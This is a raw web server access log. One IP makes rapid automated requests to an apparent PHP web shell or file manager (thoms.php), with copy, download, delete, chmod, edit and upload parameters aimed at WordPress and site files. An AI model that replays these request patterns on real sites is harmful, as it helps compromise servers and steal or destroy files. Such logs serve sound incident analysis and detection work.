45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?edit=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /broadweb.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2Ferror_log&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2Ferror_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /broadweb.com.tw/upgrade/ HTTP/1.1" 200 6545 "https://163.245.207.76:443/broadweb.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?chmod=termps.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?dl=termps.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?dl=txets.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /broadweb.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?del=postnews.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /broadweb.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?dl=.htaccess&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:34 -0400] "GET /thoms.php?dl=admin.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /broadweb.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?dl=error_log&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2Fadmin.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2Fadmin.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2Findex.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2Findex.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?chmod=txets.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2Fpostnews.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2Fpostnews.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2Ftxets.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2Ftxets.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?chmod=.htaccess&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?del=error_log&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?del=txets.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=txets.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2F.htaccess&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2F.htaccess&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:35 -0400] "GET /thoms.php?chmod=error_log&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /broadweb.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?del=admin.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?dl=postnews.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade%2Ftermps.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade%2Ftermps.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /broadweb.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?chmod=postnews.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /broadweb.com.tw/upgrade/index.php HTTP/1.1" 200 6559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?del=.htaccess&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /broadweb.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?del=termps.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=termps.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?edit=mah.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?edit=readme.html&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
